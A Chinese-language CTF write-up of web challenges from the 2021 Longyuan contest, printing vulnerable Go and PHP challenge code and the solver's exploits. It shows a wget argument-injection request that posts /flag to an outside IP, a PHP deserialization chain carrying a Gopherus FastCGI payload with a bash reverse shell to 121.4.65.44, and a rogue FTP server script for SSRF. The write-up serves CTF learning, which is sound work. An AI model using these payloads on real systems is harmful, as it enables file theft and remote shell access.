11月陇原战疫2021网络安全大赛赛后部分web复现

前言

打自闭了,一道做不起。

CheckIN

考点

go代码审计

解题过程

主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
package main

import (
"fmt"
"io"
"time"
"bytes"
"regexp"
"os/exec"
"plugin"
"gopkg.in/mgo.v2"
"gopkg.in/mgo.v2/bson"
"github.com/gin-contrib/sessions"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-contrib/multitemplate"
"net/http"
)


type Url struct {
Url string `json:"url" binding:"required"`
}

type User struct {
Username string
Password string
}

const MOGODB_URI = "127.0.0.1:27017"


// 中间间:验证登录
func MiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {
session := sessions.Default(c)

if session.Get("username") == nil || session.Get("password") != os.Getenv("ADMIN_PASS") {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('You are not admin!');window.location.href='/login'</script>")
return
}

c.Next()
}
}

// 登录
func loginController(c *gin.Context) {

session := sessions.Default(c)
if session.Get("username") != nil {
c.Redirect(http.StatusFound, "/home")
return
}
// 拿到前台传入的 用户名和密码
username := c.PostForm("username")
password := c.PostForm("password")
// 判断用户名或密码是否为空
if username == "" || password == "" {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('The username or password is empty');window.location.href='/login'</script>")
return
}
// 连接数据库
conn, err := mgo.Dial(MOGODB_URI)
if err != nil {
panic(err)
}

defer conn.Close()
conn.SetMode(mgo.Monotonic, true)

db_table := conn.DB("ctf").C("users")
result := User{}
err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+username+"' && this.password == '"+password+"') {return true;}}"}).One(&result)

if result.Username == "" {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('Login Failed!');window.location.href='/login'</script>")
return
}

if username == result.Username || password == result.Password {
session.Set("username", username)
session.Set("password", password)
session.Save()
c.Redirect(http.StatusFound, "/home")
return
} else {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('Pretend you logged in successfully');window.location.href='/login'</script>")
return
}
}



func proxyController(c *gin.Context) {

var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
// 匹配
re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
if re.MatchString(url.Url) {
c.JSON(403, gin.H{"msg": "Url Forbidden"})
return
}

client := &http.Client{Timeout: 2 * time.Second}
// 可以进行http请求
resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer resp.Body.Close()
var buffer [512]byte
result := bytes.NewBuffer(nil)
for {
n, err := resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err != nil && err == io.EOF {

break
} else if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
c.JSON(http.StatusOK, gin.H{"data": result.String()})
}



func getController(c *gin.Context) {



// 只执行命令 不返回结果
cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
err := cmd.Run()
if err != nil {
fmt.Println("error: ", err)
}

c.String(http.StatusOK, "Nothing")
}




func createMyRender() multitemplate.Renderer {
r := multitemplate.NewRenderer()
r.AddFromFiles("login", "templates/layouts/base.tmpl", "templates/layouts/login.tmpl")
r.AddFromFiles("home", "templates/layouts/home.tmpl", "templates/layouts/home.tmpl")
return r
}


func main() {
router := gin.Default()
router.Static("/static", "./static")

p, err := plugin.Open("sess_init.so")
if err != nil {
panic(err)
}

f, err := p.Lookup("Sessinit")
if err != nil {
panic(err)
}
key := f.(func() string)()

storage := cookie.NewStore([]byte(key))
router.Use(sessions.Sessions("mysession", storage))
router.HTMLRender = createMyRender()
router.MaxMultipartMemory = 8 << 20

router.GET("/", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("username") != nil {
c.Redirect(http.StatusFound, "/home")
return
} else {
c.Redirect(http.StatusFound, "/login")
return
}
})

router.GET("/login", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("username") != nil {
c.Redirect(http.StatusFound, "/home")
return
}
c.HTML(200, "login", gin.H{
"title": "CheckIn",
})
})

router.GET("/home", MiddleWare(), func(c *gin.Context) {
c.HTML(200, "home", gin.H{
"title": "CheckIn",
})
})

router.POST("/proxy", MiddleWare(), proxyController)
router.GET("/wget", getController)
router.POST("/login", loginController)

_ = router.Run("0.0.0.0:8080") // listen and serve on 0.0.0.0:8080
}

第一次遇到这种题,代码都看不懂,分析半天,看了wp后,发现只需要利用/wget

payload

1
/wget?argv=1&argv=--post-file&argv=/flag&argv=http://xx.xx.xx.xx:4444

image-20211108172716463

eaaasyphp

考点

php反序列化

FTP-SSRF 攻击 FPM/FastCGI

解题过程

打开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
 <?php

class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}


class Hint {

public function __wakeup(){
$this->hint = "no hint";
}

public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}


class Bunny {

public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {

public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}

if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}
分析

分析确定了利用点Bunny::file_put_contents($this->filename, $this->data);,这里链子的构造也很简单,Bypass::__destruct->Welcome::__invoke->Bunny::__toString->file_put_contents($this->filename, $this->data);。但是在Bypass::__destruct里有一个条件Check::$str1,这个$str1默认为false,要想变为true,需要反序列化Esle类,但又没有其他属性可以控制,这道题我到这直接嗝屁,后来问了几位师傅,说是可以自己构造属性来调用Else,我纳闷还有这种操作,我以为反序列化只能控制已经定义的属性,这次真的又学到了。

直接贴payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
// __wakeup(),执行unserialize()时,先会调用这个函数
public function __wakeup()
{
Check::$str1 = true;
}
}



class Bunny {

public function __toString()
{
echo "__toString";
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
// 利用点
// Bypass::__destruct->Welcome::__invoke->Bunny::__toString
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
// __invoke(),调用函数的方式调用一个对象时的回应方法
public function __invoke()
{
echo "__invoke";
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {
public function __construct()
{
// 自己构造
$this->esle = new Esle();
}


public function __destruct()
{
echo "__destruct";
if (Check::$str1) {
// $this->str4 Welcome
($this->str4)();
} else {
throw new Error("Error");
}
}
}

$b1 = new Bunny();
$b1->data = "123";
$b1->filename = "1.txt";

$we = new Welcome();
$we->username = $b1;

$by = new Bypass();
$by->str4 = $we;


echo serialize($by);
1
O:6:"Bypass":2:{s:4:"esle";O:4:"Esle":0:{}s:4:"str4";O:7:"Welcome":1:{s:8:"username";O:5:"Bunny":2:{s:4:"data";s:3:"123";s:8:"filename";s:5:"1.txt";}}}

在本地搭建环境进行测试

image-20211108155304481

可以正常写入

但是放在比赛环境里就不能写入,猜测应该是没有写入权限。

看了wp,利用了file_put_contents($this->filename, $this->data)这里,直接通过SSRF 攻击 FPM/FastCGI。

攻击步骤

首先通过gopherus脚本生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
f:\Tools\WEB\Python-Tools\Gopherus-master
> python gopherus.py --exploit fastcgi


________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/

author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/index.php
Terminal command to run: bash -c "bash -i >& /dev/tcp/vpsip/4444 0>&1"

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vpsip/4444%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

用下面这段

1
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vpsip/4444%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

接下来将这段payload带入序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
// __wakeup(),执行unserialize()时,先会调用这个函数
public function __wakeup()
{
Check::$str1 = true;
}
}



class Bunny {

public function __toString()
{
echo "__toString";
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
// 利用点
// Bypass::__destruct->Welcome::__invoke->Bunny::__toString
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
// __invoke(),调用函数的方式调用一个对象时的回应方法
public function __invoke()
{
echo "__invoke";
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {
public function __construct()
{
// 自己构造
$this->esle = new Esle();
}


public function __destruct()
{
echo "__destruct";
if (Check::$str1) {
// $this->str4 Welcome
($this->str4)();
} else {
throw new Error("Error");
}
}
}

$b1 = new Bunny();
$b1->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/121.4.65.44/4444%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
$b1->filename = "ftp://aaa@121.4.65.44:23/123";

$we = new Welcome();
$we->username = $b1;

$by = new Bypass();
$by->str4 = $we;


echo urlencode(serialize($by));

得到

1
O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22esle%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A4%3A%22data%22%3Bs%3A413%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+On%0Adisable_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F121.4.65.44%2F4444+0%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%22%3Bs%3A8%3A%22filename%22%3Bs%3A28%3A%22ftp%3A%2F%2Faaa%40121.4.65.44%3A23%2F123%22%3B%7D%7D%7D

接下来在vps上运行恶意ftp服务器

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

再用nc监听4444端口

image-20211108161349121

最后,只需要提交反序列化得到的payload

image-20211108162112867

EasyJaba

目前未找到wp